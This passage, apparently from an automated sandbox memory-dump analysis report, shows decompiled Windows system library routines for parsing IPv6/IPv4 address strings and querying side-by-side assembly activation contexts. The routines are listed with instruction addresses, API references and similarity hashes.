								_t89 = _t145 + 0x10; // 0x10
								memmove(_t89 + (_t147 - _t134) * 2, _t153, _t134 - _t147 + _t134 - _t147);
								memset(_t153, 0, 8 - _v12 + 8 - _v12);
							}
							return 0;
						}
						if(_t151 != 0) {
							if(_v16 > 3) {
								goto L13;
							}
							_t135 = wcstol(_v28, 0, 0xa);
							_t157 = _t157 + 0xc;
							if(_t135 > 0xff) {
								goto L13;
							}
							_t145 = _a12;
							 *((char*)(_t151 + _v24 * 2 + _t145)) = _t135;
							_t134 = _v12;
							goto L68;
						}
						if(_v16 > 4) {
							goto L13;
						}
						_t110 = wcstol(_v28, _t151, 0x10);
						_t145 = _a12;
						_t157 = _t157 + 0xc;
						 *((short*)(_t145 + _v24 * 2)) = _t110;
						_t134 = _v12;
						goto L68;
					} else {
						goto L13;
					}
				} else {
					goto L1;
				}
				do {
					L1:
					_t113 = _t129;
					if(_t113 == 0) {
						L15:
						if(_t150 == 0x3a) {
							if(_t144 != 0 || _v12 > _t144) {
								L9:
								_t134 = _v12;
								goto L10;
							} else {
								_t114 =  &(_t146[0]);
								if(_t146[0] != 0x3a) {
									goto L9;
								}
								_t130 = _v24;
								_t154 = _a12;
								_v32 = 1;
								_v12 = 2;
								 *((short*)(_t154 + _t130 * 2)) = 0;
								_v24 = 1 + _t130;
								_t146 = _t114;
								_t47 =  &(_t144[0]); // 0x2
								_t129 = _t47;
								L49:
								_t115 = _v28;
								if(_t115 == 0) {
									goto L24;
								}
								if(_t144 != 0) {
									if(_v16 > 3) {
										goto L13;
									}
									_t116 = wcstol(_t115, 0, 0xa);
									_t157 = _t157 + 0xc;
									if(_t116 > 0xff) {
										goto L13;
									}
									_t144 = _v20;
									 *(_t144 + _v24 * 2 + _t154 - 1) = _t116;
									_t141 = _v5;
									goto L24;
								}
								if(_v16 > 4) {
									goto L13;
								}
								_t117 = wcstol(_t115, _t144, 0x10);
								_t144 = _v20;
								_t157 = _t157 + 0xc;
								_t118 = _v24;
								 *((short*)(_t154 + _t118 * 2)) = _t117;
								_t141 = _v5;
								_v24 = 1 + _t118;
								goto L24;
							}
						}
						_t134 = _v12;
						if(_t134 > 7 || _t150 >= 0x80) {
							goto L10;
						} else {
							_t121 = iswctype(_t150, 4);
							_t157 = _t157 + 8;
							if(_t121 != 0) {
								_t144 = _v20;
								_t129 = 1;
								_t138 = 0;
								_v28 = _t146;
								_v16 = 1;
								L23:
								_v5 = _t138;
								goto L24;
							}
							_t122 = iswctype(_t150, 0x80);
							_t157 = _t157 + 8;
							if(_t122 == 0) {
								goto L9;
							}
							_t144 = _v20;
							if(_t144 != 0) {
								goto L9;
							}
							_t129 = 1;
							_v28 = _t146;
							_v16 = 1;
							L22:
							_t138 = 1;
							goto L23;
						}
					}
					_t123 = _t113 - 1;
					if(_t123 != 0) {
						if(_t123 == 1) {
							goto L15;
						}
						L39:
						if(_t129 == 1) {
							goto L24;
						}
						_t154 = _a12;
						goto L49;
					}
					if(_t150 >= 0x80) {
						L7:
						if(_t150 == 0x3a) {
							if(_t144 != 0) {
								goto L9;
							}
							_t155 = _v12;
							if(_t155 > 6) {
								goto L9;
							}
							if(_t146[0] != 0x3a) {
								_t129 = 0;
								_t126 = 1;
								L38:
								_v12 = _t155 + _t126;
								goto L39;
							}
							if(_v32 != _t144) {
								goto L9;
							}
							_t146 =  &(_t146[0]);
							_v32 = _t155 + 1;
							_t129 = 2;
							_t126 = 2;
							goto L38;
						}
						if(_t150 == 0x2e) {
							if(_t141 != 0 || _t144 > 2 || _v12 > 6) {
								goto L9;
							} else {
								_t154 = _a12;
								_t144 =  &(_t144[0]);
								_v20 = _t144;
								_t129 = 0;
								goto L49;
							}
						}
						goto L9;
					}
					_t127 = iswctype(_t150, 4);
					_t157 = _t157 + 8;
					if(_t127 != 0) {
						_v16 = 1 + _v16;
						_t141 = _v5;
						_t144 = _v20;
						goto L24;
					}
					_t128 = iswctype(_t150, 0x80);
					_t144 = _v20;
					_t157 = _t157 + 8;
					if(_t128 != 0) {
						_v16 =  &(_v16[0]);
						if(_t144 == 0) {
							goto L22;
						}
						goto L9;
					}
					_t141 = _v5;
					goto L7;
					L24:
					_t150 = _t146[0] & 0x0000ffff;
					_t146 =  &(_t146[0]);
				} while (_t150 != 0);
				goto L9;
			}

0x6a910bdb
0x6a910bde
0x6a910be0
0x6a910be2
0x6a910be7
0x6a910bea
0x6a910bed
0x6a910bf0
0x6a910bf3
0x6a910bf6
0x6a910bf9
0x6a910bff
0x6a910d14
0x6a910c69
0x6a910c6c
0x6a910c6f
0x6a910c73
0x6a96e8fd
0x6a910c8d
0x00000000
0x6a910c8d
0x6a96e903
0x6a96e904
0x6a96e904
0x6a910c79
0x6a910c7e
0x6a96e90f
0x6a96e97b
0x00000000
0x00000000
0x6a96e981
0x6a96e989
0x6a96e98d
0x6a96e98f
0x6a96e993
0x6a96e99d
0x6a96e9a5
0x6a96e9b8
0x6a96e9bd
0x00000000
0x6a96e9c0
0x6a96e913
0x6a96e944
0x00000000
0x00000000
0x6a96e956
0x6a96e958
0x6a96e961
0x00000000
0x00000000
0x6a96e96a
0x6a96e970
0x6a96e973
0x00000000
0x6a96e973
0x6a96e919
0x00000000
0x00000000
0x6a96e925
0x6a96e92a
0x6a96e931
0x6a96e937
0x6a96e93b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a910c05
0x6a910c05
0x6a910c07
0x6a910c0a
0x6a910c9b
0x6a910c9f
0x6a96e82f
0x6a910c66
0x6a910c66
0x00000000
0x6a96e83e
0x6a96e843
0x6a96e846
0x00000000
0x00000000
0x6a96e84c
0x6a96e851
0x6a96e854
0x6a96e85b
0x6a96e862
0x6a96e867
0x6a96e86a
0x6a96e86c
0x6a96e86c
0x6a96e86f
0x6a96e86f
0x6a96e874
0x00000000
0x00000000
0x6a96e87c
0x6a96e8b2
0x00000000
0x00000000
0x6a96e8bd
0x6a96e8c2
0x6a96e8ca
0x00000000
0x00000000
0x6a96e8d0
0x6a96e8d9
0x6a96e8dd
0x00000000
0x6a96e8dd
0x6a96e882
0x00000000
0x00000000
0x6a96e88c
0x6a96e891
0x6a96e898
0x6a96e89b
0x6a96e89e
0x6a96e8a3
0x6a96e8a6
0x00000000
0x6a96e8a6
0x6a96e82f
0x6a910ca5
0x6a910cab
0x00000000
0x6a910cb7
0x6a910cba
0x6a910cbf
0x6a910cc4
0x6a96e8e5
0x6a96e8e8
0x6a96e8ed
0x6a96e8ef
0x6a96e8f2
0x6a910cf0
0x6a910cf0
0x00000000
0x6a910cf0
0x6a910cd0
0x6a910cd5
0x6a910cda
0x00000000
0x00000000
0x6a910cdc
0x6a910ce1
0x00000000
0x00000000
0x6a910ce3
0x6a910ce8
0x6a910ceb
0x6a910cee
0x6a910cee
0x00000000
0x6a910cee
0x6a910cab
0x6a910c10
0x6a910c13
0x6a96e7a1
0x00000000
0x00000000
0x6a96e7f9
0x6a96e7fc
0x00000000
0x00000000
0x6a96e802
0x00000000
0x6a96e802
0x6a910c21
0x6a910c52
0x6a910c56
0x6a96e7b9
0x00000000
0x00000000
0x6a96e7bf
0x6a96e7c5
0x00000000
0x00000000
0x6a96e7d0
0x6a96e7ed
0x6a96e7ef
0x6a96e7f4
0x6a96e7f6
0x00000000
0x6a96e7f6
0x6a96e7d5
0x00000000
0x00000000
0x6a96e7de
0x6a96e7e1
0x6a96e7e4
0x6a96e7e9
0x00000000
0x6a96e7e9
0x6a910c60
0x6a96e809
0x00000000
0x6a96e822
0x6a96e822
0x6a96e825
0x6a96e826
0x6a96e829
0x00000000
0x6a96e829
0x6a96e809
0x00000000
0x6a910c60
0x6a910c26
0x6a910c2b
0x6a910c30
0x6a96e7a9
0x6a96e7ac
0x6a96e7af
0x00000000
0x6a96e7af
0x6a910c3c
0x6a910c41
0x6a910c44
0x6a910c49
0x6a910d08
0x6a910d0d
0x00000000
0x00000000
0x00000000
0x6a910d0f
0x6a910c4f
0x00000000
0x6a910cf3
0x6a910cf3
0x6a910cf7
0x6a910cfa
0x00000000

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6A910C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6A910C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6A910CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6A910CD0
wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6A96E88C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: 23279cef728c6d1406e87d4e9b7dd4f042d7e9ddb470960112f24e81349f59a5
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: 31919E75D0821AABDB20CE58C8857EFB7B5FF56304F358029D8506B341EB32DA668F91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9171D0, Relevance: 13.7, APIs: 9, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A9171D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, short* _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t49;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t66;
				void* _t69;
				void* _t70;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t84;
				short* _t85;
				intOrPtr _t86;
				intOrPtr* _t87;
				intOrPtr* _t88;

				if(_a4 == 0 || _a12 == 0) {
					L4:
					return 0xc000000d;
				} else {
					_t85 = _a16;
					if(_t85 == 0 || E6A917220(_a4, _a8,  &_v12, _a12) < 0) {
						goto L4;
					} else {
						_t87 = _v12;
						_t35 =  *_t87;
						if(_t35 != 0x3a) {
							if(_t35 != 0) {
								goto L4;
							}
							_v8 = _v8 & 0x00000000;
							L37:
							 *_t85 = _v8;
							return 0;
						}
						_v8 = _v8 & 0x00000000;
						_t88 = _t87 + 1;
						_t38 = 0xa;
						_v12 = _t38;
						_t83 = 0x10;
						if( *_t88 == 0x30) {
							_t12 = _t88 + 1; // 0x2
							_t82 = _t12;
							_v12 = 8;
							_t88 = _t82;
							_t38 =  *_t88;
							if(_t38 == 0x78 || _t38 == 0x58) {
								_v12 = _t83;
								_t15 = _t82 + 1; // 0x3
								_t88 = _t15;
							}
						}
						_t66 =  *_t88;
						if(_t66 == 0) {
							L33:
							if(_t66 != 0) {
								goto L37;
							}
							goto L4;
						} else {
							do {
								_t86 = _t66;
								_t88 = _t88 + 1;
								_t39 = E6A95CB30(_t38, _t86);
								_pop(_t69);
								if(_t39 == 0) {
									_t84 = _v12;
									L18:
									_t40 = 0x10;
									if(_t84 != _t40) {
										goto L4;
									}
									_t41 = E6A95CB30(_t40, _t86);
									_pop(_t70);
									if(_t41 == 0 || E6A95CDD0(_t70, _t86) == 0) {
										goto L4;
									} else {
										_t43 = E6A95CB30(_t42, _t86);
										_pop(_t72);
										if(_t43 == 0 || E6A95CCE0(_t72, _t86) == 0) {
											_push(0x41);
										} else {
											_push(0x61);
										}
										_pop(_t73);
										_t48 = ((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86;
										if(((_v8 & 0x0000ffff) << 4) - _t73 + 0xa + _t86 > 0xffff) {
											goto L4;
										} else {
											_v8 = _v8 << 4;
											_t49 = E6A95CB30(_t48, _t86);
											_pop(_t74);
											if(_t49 == 0 || E6A95CCE0(_t74, _t86) == 0) {
												_push(0x41);
											} else {
												_push(0x61);
											}
											_pop(_t75);
											_t76 = 0xa;
											_t38 = _t66 - _t75 + _t76;
											_v8 = _v8 + _t66 - _t75 + _t76;
											goto L31;
										}
									}
								}
								_t54 = E6A95CC80(_t69, _t86);
								_t84 = _v12;
								if(_t54 == 0) {
									goto L18;
								}
								_t55 = _t66;
								_v16 = _t55;
								if(_t55 + 0xffffffd0 >= _t84) {
									goto L18;
								}
								if((_v8 & 0x0000ffff) * (_t84 & 0x0000ffff) + 0xffffffd0 + _t86 > 0xffff) {
									goto L4;
								}
								_t38 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								_v8 = _t84 * _v8 + 0xffffffd0 + _v16 & 0x0000ffff;
								L31:
								_t66 =  *_t88;
							} while (_t66 != 0);
							_t85 = _a16;
							goto L33;
						}
					}
				}
			}

0x6a9171df
0x6a917208
0x00000000
0x6a9171e7
0x6a9171e7
0x6a9171ec
0x00000000
0x6a9722f2
0x6a9722f2
0x6a9722f5
0x6a9722f9
0x6a972446
0x00000000
0x00000000
0x6a97244c
0x6a972450
0x6a97245a
0x00000000
0x6a97245a
0x6a9722ff
0x6a972303
0x6a972306
0x6a97230c
0x6a97230f
0x6a972310
0x6a972312
0x6a972312
0x6a972315
0x6a97231c
0x6a97231e
0x6a972322
0x6a972328
0x6a97232b
0x6a97232b
0x6a97232b
0x6a972322
0x6a972330
0x6a972334
0x6a97243b
0x6a97243d
0x00000000
0x00000000
0x00000000
0x6a97233a
0x6a97233a
0x6a97233a
0x6a97233d
0x6a97233f
0x6a972344
0x6a972347
0x6a972399
0x6a97239c
0x6a97239e
0x6a9723a2
0x00000000
0x00000000
0x6a9723a9
0x6a9723ae
0x6a9723b1
0x00000000
0x6a9723c6
0x6a9723c7
0x6a9723cc
0x6a9723cf
0x6a9723e0
0x6a9723dc
0x6a9723dc
0x6a9723dc
0x6a9723e9
0x6a9723ef
0x6a9723f6
0x00000000
0x6a9723fc
0x6a9723fc
0x6a972401
0x6a972406
0x6a972409
0x6a97241a
0x6a972416
0x6a972416
0x6a972416
0x6a97241c
0x6a972426
0x6a972427
0x6a97242a
0x00000000
0x6a97242a
0x6a9723f6
0x6a9723b1
0x6a97234a
0x6a97234f
0x6a972355
0x00000000
0x00000000
0x6a972357
0x6a97235b
0x6a972364
0x00000000
0x00000000
0x6a97237a
0x00000000
0x00000000
0x6a97238e
0x6a972391
0x6a97242e
0x6a97242e
0x6a972430
0x6a972438
0x00000000
0x6a972438
0x6a972334
0x6a9171ec

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6A9171FB

Part of subcall function 6A917220: __isascii.1105(0000000A,?), ref: 6A917275
Part of subcall function 6A917220: isdigit.1105(00000000,?), ref: 6A917283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6A97233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6A97234A

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: 3674b4850b19d3565a78434c2d3d5e87b2b51b171235461f2bbcf0ce3c884fee
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: 19416D3564411BAAEB218E24D8517FE37B89F12724F35456AE890EB1C0DF38D943D770

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A46A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6A9A46A4(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t121;
				signed int _t126;
				signed int _t127;
				intOrPtr* _t145;
				intOrPtr* _t147;
				signed int _t148;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr* _t151;
				signed int _t152;
				void* _t153;
				intOrPtr _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t162;
				intOrPtr _t164;
				intOrPtr _t166;
				intOrPtr _t167;
				int _t168;
				intOrPtr _t169;
				signed int _t171;
				intOrPtr* _t172;
				intOrPtr* _t174;
				void* _t175;
				short* _t176;
				signed int _t177;
				void* _t178;

				_t153 = __ecx;
				_t177 = 0;
				_v20 = 0xc00000e5;
				_t172 = _a12;
				_t145 = __edx;
				_v8 = 0;
				_v24 = 0;
				if(_t172 != 0) {
					 *_t172 = 0;
				}
				_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x18)) + _t153 + 8));
				_v16 =  *_t145;
				if( *_t145 < _t162 - 1) {
					E6A941D47( &_v20, _a4, _a8, _t172, 0x58, _t153, _t153, 2,  &_v8,  &_v28);
					if(_v24 == 0) {
						_t177 = _v20;
					} else {
						_t164 = _v8;
						_t19 = _t145 + 4; // 0x0
						_t115 =  *_t19;
						_v24 = _t115;
						_t155 =  *((intOrPtr*)(_t164 + 0x14));
						if(_t115 < _t155) {
							_t116 =  *((intOrPtr*)(_t164 + 0x18));
							if(_t116 == 0) {
								L16:
								_t177 = 0xc0150015;
							} else {
								_v20 = _t177;
								_v12 = _t116 + _t164;
								_v16 = _t177;
								if(_t155 != 0) {
									_v28 =  *_t145 + 1;
									_t147 = _v12 + 0xc;
									_t120 = _v24;
									do {
										_t166 = _v8;
										if( *((intOrPtr*)(_t147 + 8)) != _v28) {
											goto L15;
										} else {
											if(_v20 != _t120 ||  *_t147 == _t177) {
												_v20 = _v20 + 1;
												goto L15;
											} else {
												_t157 =  *_t147 + _t166;
												_v24 = _t157;
												if(_t157 == 0) {
													goto L16;
												} else {
													_t148 = _v16 * 0x18;
													_t121 = 0x14;
													_v20 = _t148;
													_t149 =  *((intOrPtr*)(_t148 + _v12 + 8));
													_t174 = _a12;
													if(_t149 != 0) {
														_t121 = _t149 + 0x16;
													}
													_t150 =  *((intOrPtr*)(_t157 + 8));
													if(_t150 != 0) {
														_t121 = _t121 + 2 + _t150;
													}
													if(_t121 <= _a8) {
														_t151 = _a4;
														_t167 = _v12;
														 *_t151 =  *((intOrPtr*)(_t157 + 4));
														_t51 = _t151 + 0x14; // 0x15
														_t175 = _t51;
														 *((intOrPtr*)(_t151 + 4)) =  *((intOrPtr*)(_v20 + _t167 + 8));
														 *((intOrPtr*)(_t151 + 8)) =  *((intOrPtr*)(_t157 + 8));
														_t126 = _v20;
														 *(_t151 + 0xc) = _t177;
														 *(_t151 + 0x10) = _t177;
														_t168 =  *((intOrPtr*)(_t126 + _t167 + 8));
														_v28 = _t168;
														_t169 = _v8;
														if(_t168 != 0) {
															memcpy(_t175,  *((intOrPtr*)(_t126 + _v12 + 4)) + _t169, _v28);
															_t178 = _t178 + 0xc;
															 *(_t151 + 0xc) = _t175;
															_t176 = _t175 +  *((intOrPtr*)(_v20 + _v12 + 8));
															_t157 = _v24;
															 *_t176 = 0;
															_t175 = _t176 + 2;
														}
														if( *((intOrPtr*)(_t157 + 8)) != _t177) {
															_t127 =  *(_t157 + 0x10);
															if(_t127 != 0) {
																_t171 = _t127 * 0x2c + _v8;
																_v20 = _t171;
																if(_t171 != 0) {
																	 *(_t151 + 0x10) = _t175;
																	_t152 = _t177;
																	if( *((intOrPtr*)(_t157 + 0xc)) <= _t177) {
																		L37:
																		 *_t175 = 0;
																	} else {
																		_t158 = _v24;
																		_v28 = _a4 + _a8;
																		while( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) + 2 + _t175 <= _v28) {
																			if( *((intOrPtr*)(_t171 + 4 + _t152 * 8)) != _t177) {
																				memcpy(_t175, _v8 +  *((intOrPtr*)(_t171 + 4 + _t152 * 8)),  *(_t171 + _t152 * 8));
																				_t171 = _v20;
																				_t178 = _t178 + 0xc;
																				_t158 = _v24;
																				_t175 = _t175 +  *(_t171 + _t152 * 8);
																			}
																			_t152 = _t152 + 1;
																			if(_t152 <  *((intOrPtr*)(_t158 + 0xc))) {
																				continue;
																			} else {
																				goto L37;
																			}
																			goto L39;
																		}
																		goto L16;
																	}
																}
															}
														}
													} else {
														if(_t174 != 0) {
															 *_t174 = _t121;
														}
														_t177 = 0xc0000023;
													}
												}
											}
										}
										goto L39;
										L15:
										_v16 = _v16 + 1;
										_t147 = _t147 + 0x18;
									} while (_v16 < _t155);
								}
								goto L16;
							}
						} else {
							_push( *_t145);
							_push(_t155);
							_push(_t115);
							E6A9A5720(0x33, _t177, "SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
							goto L4;
						}
					}
				} else {
					_push(_t162);
					_push(_v16);
					E6A9A5720(0x33, _t177, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation");
					L4:
					_t177 = 0xc000000d;
				}
				L39:
				return _t177;
			}

0x6a9a46a4
0x6a9a46ae
0x6a9a46b0
0x6a9a46b8
0x6a9a46bb
0x6a9a46bd
0x6a9a46c0
0x6a9a46c5
0x6a9a46c7
0x6a9a46c7
0x6a9a46cc
0x6a9a46d2
0x6a9a46da
0x6a9a471b
0x6a9a4727
0x6a9a48c0
0x6a9a472d
0x6a9a472d
0x6a9a4730
0x6a9a4730
0x6a9a4733
0x6a9a4736
0x6a9a473b
0x6a9a4758
0x6a9a475d
0x6a9a479f
0x6a9a479f
0x6a9a475f
0x6a9a4761
0x6a9a4764
0x6a9a4767
0x6a9a476c
0x6a9a4774
0x6a9a4777
0x6a9a477a
0x6a9a477d
0x6a9a4783
0x6a9a4786
0x00000000
0x6a9a4788
0x6a9a478b
0x6a9a4791
0x00000000
0x6a9a47a9
0x6a9a47ab
0x6a9a47ad
0x6a9a47b0
0x00000000
0x6a9a47b2
0x6a9a47b2
0x6a9a47bb
0x6a9a47bc
0x6a9a47bf
0x6a9a47c3
0x6a9a47c8
0x6a9a47ca
0x6a9a47ca
0x6a9a47cd
0x6a9a47d2
0x6a9a47d7
0x6a9a47d7
0x6a9a47dc
0x6a9a47ee
0x6a9a47f4
0x6a9a47f7
0x6a9a47f9
0x6a9a47f9
0x6a9a4803
0x6a9a4809
0x6a9a480c
0x6a9a480f
0x6a9a4812
0x6a9a4815
0x6a9a481b
0x6a9a481e
0x6a9a4821
0x6a9a4831
0x6a9a4839
0x6a9a483f
0x6a9a4842
0x6a9a4848
0x6a9a484b
0x6a9a484e
0x6a9a484e
0x6a9a4854
0x6a9a4856
0x6a9a485b
0x6a9a4860
0x6a9a4863
0x6a9a4866
0x6a9a4868
0x6a9a486b
0x6a9a4870
0x6a9a48b9
0x6a9a48bb
0x6a9a4872
0x6a9a4878
0x6a9a487b
0x6a9a487e
0x6a9a4894
0x6a9a48a2
0x6a9a48a7
0x6a9a48aa
0x6a9a48ad
0x6a9a48b0
0x6a9a48b0
0x6a9a48b3
0x6a9a48b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9a48b7
0x00000000
0x6a9a487e
0x6a9a4870
0x6a9a4866
0x6a9a485b
0x6a9a47de
0x6a9a47e0
0x6a9a47e2
0x6a9a47e2
0x6a9a47e4
0x6a9a47e4
0x6a9a47dc
0x6a9a47b0
0x6a9a478b
0x00000000
0x6a9a4794
0x6a9a4794
0x6a9a4797
0x6a9a479a
0x6a9a477d
0x00000000
0x6a9a476c
0x6a9a473d
0x6a9a473d
0x6a9a473f
0x6a9a4740
0x6a9a474e
0x00000000
0x6a9a4753
0x6a9a473b
0x6a9a46dc
0x6a9a46dc
0x6a9a46dd
0x6a9a46ed
0x6a9a46f5
0x6a9a46f5
0x6a9a46f5
0x6a9a48c4
0x6a9a48cb

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A9A46ED

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6A9EFE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6A9A474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6A9617F0,00000000,?,00000000), ref: 6A9A4831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6A9617F0,00000000,?,00000000), ref: 6A9A48A2

Strings

RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6A9A46E0, 6A9A4741
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6A9A46E5
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6A9A4746

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: 3a6bbdc8b946342635210ec1791f2368ebcd8dd9ef3ecb1d440d630b36bb9008
Instruction ID: 65774c7f3e86e9eff708c2dd7bf1ecba13002aa6dd54782db5b1ce37124f32d7
Opcode Fuzzy Hash: 3a6bbdc8b946342635210ec1791f2368ebcd8dd9ef3ecb1d440d630b36bb9008
Instruction Fuzzy Hash: 30815575E0021ADFDB14CF88C8C1AAEB7B5FF85314B25855AE914AB306DB30E951CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A4496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6A9A4496(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v8;
				short _v12;
				char _v16;
				char _v20;
				intOrPtr _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr* _t128;
				void* _t154;
				intOrPtr _t155;
				intOrPtr* _t162;
				void* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				void* _t171;
				short* _t172;
				short* _t173;
				short* _t174;
				void* _t175;

				_t170 = _a12;
				_t167 = __edx;
				_v16 = 0xc00000e5;
				_t165 = __ecx;
				_v12 = 0;
				if(_t170 != 0) {
					 *_t170 = 0;
				}
				_t96 =  *((intOrPtr*)(_t165 + 0x18));
				_t154 =  *((intOrPtr*)(_t96 + _t165 + 0xc)) + _t165;
				if(_t167 <  *((intOrPtr*)(_t96 + _t165 + 8))) {
					asm("lfence");
					_push( &_v20);
					_t169 =  *((intOrPtr*)(_t167 * 0x18 + _t154 + 0x10)) + _t165;
					_push( &_v8);
					_push(1);
					_push(0);
					_push(_t165);
					_t155 = 0x58;
					_push(_t155);
					_push(_t170);
					_push(_a8);
					_push(_a4);
					E6A941D47( &_v16);
					if(_v12 == 0) {
						return _v16;
					}
					_t20 = _t169 + 8; // 0xffffff98
					_t106 =  *_t20;
					if(_t106 != 0) {
						_t21 = _t106 + 0x5a; // 0xfffffff2
						_t155 = _t21;
					}
					_t22 = _t169 + 0x14; // 0x0
					_t107 =  *_t22;
					if(_t107 != 0) {
						_t155 = _t155 + 2 + _t107;
					}
					_t23 = _t169 + 0x28; // 0xffffffc4
					_t108 =  *_t23;
					if(_t108 != 0) {
						_t155 = _t155 + 2 + _t108;
					}
					_t24 = _t169 + 0x50; // 0xfffffecc
					_t109 =  *_t24;
					if(_t109 != 0) {
						_t155 = _t155 + 2 + _t109;
					}
					if(_t155 <= _a8) {
						_t162 = _a4;
						_t27 = _t169 + 4; // 0x0
						 *_t162 =  *_t27;
						_t28 = _t162 + 0x58; // 0x59
						_t171 = _t28;
						_t29 = _t169 + 8; // 0xffffff98
						 *((intOrPtr*)(_t162 + 4)) =  *_t29;
						_t31 = _t169 + 0x10; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 8)) =  *_t31;
						_t33 = _t169 + 0x14; // 0x0
